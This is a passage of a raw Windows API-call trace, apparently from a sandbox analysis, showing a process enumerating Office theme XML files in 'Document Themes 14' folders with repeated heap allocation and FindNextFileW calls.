RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0ca0 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031388 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0cc0 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031490 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0ce0 [0068.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1031598 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="")) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0d00 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10316a0 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="")) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0d20 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10317a8 [0068.931] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.931] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="")) returned 1 [0068.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0d40 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10318b0 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff0d60 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10319b8 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.933] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0068.934] GetLastError () returned 0x12 [0068.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0068.934] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0068.934] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, 